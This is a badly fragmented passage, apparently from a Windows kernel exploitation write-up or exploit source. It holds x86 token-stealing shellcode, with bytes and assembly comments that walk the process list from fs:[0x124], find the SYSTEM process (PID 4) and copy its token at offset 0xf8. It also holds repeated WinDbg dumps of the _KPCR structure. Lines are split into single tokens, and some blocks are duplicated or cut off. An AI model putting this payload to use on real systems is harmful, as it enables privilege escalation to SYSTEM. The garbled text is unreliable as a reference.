-
-
-
-
-
-
-
-
-
"\x8b\x90\xf8\x00\x00\x00"
/
/
mov edx,[eax
+
0xf8
]
"\x89\x91\xf8\x00\x00\x00"
/
/
mov[ecx
+
0xf8
],edx
"\x61"
/
/
popad
"\x31\xc0"
/
/
xor eax,eax
"\x5d"
/
/
pop ebp
"\xc2\x08\x00"
/
/
ret
0x8
;
CHAR shellcode[]
=
"\x60"
/
/
pushad
"\x31\xc0"
/
/
xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00"
/
/
mov eax,[fs:eax
+
0x124
]
"\x8b\x40\x50"
/
/
mov eax,[eax
+
0x50
]
"\x89\xc1"
/
/
mov ecx,eax
"\xba\x04\x00\x00\x00"
/
/
mov edx,
0x4
"\x8b\x80\xb8\x00\x00\x00"
/
/
mov eax,[eax
+
0xb8
]<
-
-
-
-
"\x2d\xb8\x00\x00\x00"
/
/
sub eax,
0xb8
|
"\x39\x90\xb4\x00\x00\x00"
/
/
cmp
[eax
+
0xb4
],edx |
"\x75\xed"
/
/
jnz
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
"\x8b\x90\xf8\x00\x00\x00"
/
/
mov edx,[eax
+
0xf8
]
"\x89\x91\xf8\x00\x00\x00"
/
/
mov[ecx
+
0xf8
],edx
"\x61"
/
/
popad
"\x31\xc0"
/
/
xor eax,eax
"\x5d"
/
/
pop ebp
"\xc2\x08\x00"
/
/
ret
0x8
;
ntdll!_KPCR
+
0x000
NtTib : _NT_TIB
+
0x000
Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+
0x004
Used_StackBase : Ptr32 Void
+
0x008
Spare2 : Ptr32 Void
+
0x00c
TssCopy : Ptr32 Void
+
0x010
ContextSwitches : Uint4B
+
0x014
SetMemberCopy : Uint4B
+
0x018
Used_Self : Ptr32 Void
+
0x01c
SelfPcr : Ptr32 _KPCR
+
0x020
Prcb : Ptr32 _KPRCB
+
0x024
Irql : UChar
+
0x028
IRR : Uint4B
+
0x02c
IrrActive : Uint4B
+
0x030
IDR : Uint4B
+
0x034
KdVersionBlock : Ptr32 Void
+
0x038
IDT : Ptr32 _KIDTENTRY
+
0x03c
GDT : Ptr32 _KGDTENTRY
+
0x040
TSS : Ptr32 _KTSS
+
0x044
MajorVersion : Uint2B
+
0x046
MinorVersion : Uint2B
+
0x048
SetMember : Uint4B
+
0x04c
StallScaleFactor : Uint4B
+
0x050
SpareUnused : UChar
+
0x051
Number : UChar
+
0x052
Spare0 : UChar
+
0x053
SecondLevelCacheAssociativity : UChar
+
0x054
VdmAlert : Uint4B
+
0x058
KernelReserved : [
14
] Uint4B
+
0x090
SecondLevelCacheSize : Uint4B
+
0x094
HalReserved : [
16
] Uint4B
+
0x0d4
InterruptMode : Uint4B
+
0x0d8
Spare1 : UChar
+
0x0dc
KernelReserved2 : [
17
] Uint4B
+
0x120
PrcbData : _KPRCB
ntdll!_KPCR
+
0x000
NtTib : _NT_TIB
+
0x000
Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+
0x004
Used_StackBase : Ptr32 Void
+
0x008
Spare2 : Ptr32 Void
+
0x00c
TssCopy : Ptr32 Void
+
0x010
ContextSwitches : Uint4B
+
0x014
SetMemberCopy : Uint4B
+
0x018
Used_Self : Ptr32 Void
+
0x01c
SelfPcr : Ptr32 _KPCR
+
0x020
Prcb : Ptr32 _KPRCB
+
0x024
Irql : UChar
+
0x028
IRR : Uint4B
+
0x02c
IrrActive : Uint4B
+
0x030
IDR : Uint4B
+
0x034
KdVersionBlock : Ptr32 Void
+
0x038
IDT : Ptr32 _KIDTENTRY
+
0x03c
GDT : Ptr32 _KGDTENTRY
+
0x040
TSS : Ptr32 _KTSS
+
0x044
MajorVersion : Uint2B
+
0x046
MinorVersion : Uint2B
+
0x048
SetMember : Uint4B
+
0x04c
StallScaleFactor : Uint4B
+
0x050
SpareUnused : UChar
+
0x051
Number : UChar
+
0x052
Spare0 : UChar
+
0x053
SecondLevelCacheAssociativity : UChar
+
0x054
VdmAlert : Uint4B
+
0x058
KernelReserved : [
14
] Uint4B